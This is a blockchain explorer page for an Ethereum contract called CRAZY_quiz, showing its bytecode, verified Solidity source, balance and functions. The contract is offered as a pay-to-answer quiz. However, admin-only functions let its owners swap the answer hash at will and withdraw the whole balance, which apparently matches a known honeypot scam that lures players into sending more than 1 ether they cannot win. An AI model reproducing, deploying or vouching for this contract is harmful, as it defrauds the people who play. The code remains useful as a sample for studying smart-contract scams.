Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x939B2B06AD1324268Ec8444D044C6Be473406cB2
Balance 0.300000 ETH
Nonce 1
Code Size 1685 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

1685 bytes
0x60806040526004361061004a5760003560e01c80633853682c146100595780633fad9ae01461006e578063bedf0f4a14610099578063c76de3e9146100a1578063ed8df164146100b4575b34801561005657600080fd5b50005b61006c6100673660046104ce565b6100c7565b005b34801561007a57600080fd5b50610083610147565b60405161009091906105bb565b60405180910390f35b61006c6101d5565b61006c6100af366004610465565b610250565b61006c6100c236600461041b565b6102e0565b3332146100d357600080fd5b806040516020016100e491906105bb565b604051602081830303815290604052805190602001206001541480156101115750670de0b6b3a764000034115b156101445760405133904780156108fc02916000818181858888f19350505050158015610142573d6000803e3d6000fd5b505b50565b600080546101549061060e565b80601f01602080910402602001604051908101604052809291908181526020018280546101809061060e565b80156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b60026000336040516020016101ea919061056f565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661021c57600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610248573d6000803e3d6000fd5b506000600155565b6002600033604051602001610265919061056f565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661029757600080fd5b6001546102da5781816040516020016102b192919061058c565b60408051601f1981840301815291905280516020909101206001556102d86000858561033b565b505b50505050565b60026000336040516020016102f5919061056f565b60408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661032757600080fd5b6103336000848461033b565b506001555050565b8280546103479061060e565b90600052602060002090601f01602090048101928261036957600085556103af565b82601f106103825782800160ff198235161785556103af565b828001600101855582156103af579182015b828111156103af578235825591602001919060010190610394565b506103bb9291506103bf565b5090565b5b808211156103bb57600081556001016103c0565b60008083601f8401126103e5578081fd5b50813567ffffffffffffffff8111156103fc578182fd5b60208301915083602082850101111561041457600080fd5b9250929050565b60008060006040848603121561042f578283fd5b833567ffffffffffffffff811115610445578384fd5b610451868287016103d4565b909790965060209590950135949350505050565b6000806000806040858703121561047a578081fd5b843567ffffffffffffffff80821115610491578283fd5b61049d888389016103d4565b909650945060208701359150808211156104b5578283fd5b506104c2878288016103d4565b95989497509550505050565b600060208083850312156104e0578182fd5b823567ffffffffffffffff808211156104f7578384fd5b818501915085601f83011261050a578384fd5b81358181111561051c5761051c610649565b604051601f8201601f191681018501838111828210171561053f5761053f610649565b6040528181528382018501881015610555578586fd5b818585018683013790810190930193909352509392505050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60006020825282602083015282846040840137818301604090810191909152601f909201601f19160101919050565b6000602080835283518082850152825b818110156105e7578581018301518582016040015282016105cb565b818111156105f85783604083870101525b50601f01601f1916929092016040019392505050565b60028104600182168061062257607f821691505b6020821081141561064357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fdfea26469706673582212201f165447b75800bfa75d3842d1ac8be42901d91dd0dd650acef51fa578694ac964736f6c63430008000033

Verified Source Code Partial Match

Compiler: v0.8.0+commit.c7dfd78e EVM: istanbul Optimization: Yes (200 runs)
CRAZY_quiz.sol 48 lines
contract CRAZY_quiz
{
    function Try(string memory _response) public payable
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
        {
            payable(msg.sender).transfer(address(this).balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string calldata _question, string calldata _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(abi.encode(_response));
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        payable(msg.sender).transfer(address(this).balance);
        responseHash = 0x0;
    }

    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] memory admins) {
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;
        }
    }

    modifier isAdmin(){
        require(admin[keccak256(abi.encodePacked(msg.sender))]);
        _;
    }

    fallback() external {}
}

Read Contract

question 0x3fad9ae0 → string

Write Contract 4 functions

These functions modify contract state and require a wallet transaction to execute.

New 0xed8df164
string _question
bytes32 _responseHash
Start 0xc76de3e9
string _question
string _response
Stop 0xbedf0f4a
No parameters
Try 0x3853682c
string _response

Recent Transactions

No transactions found for this address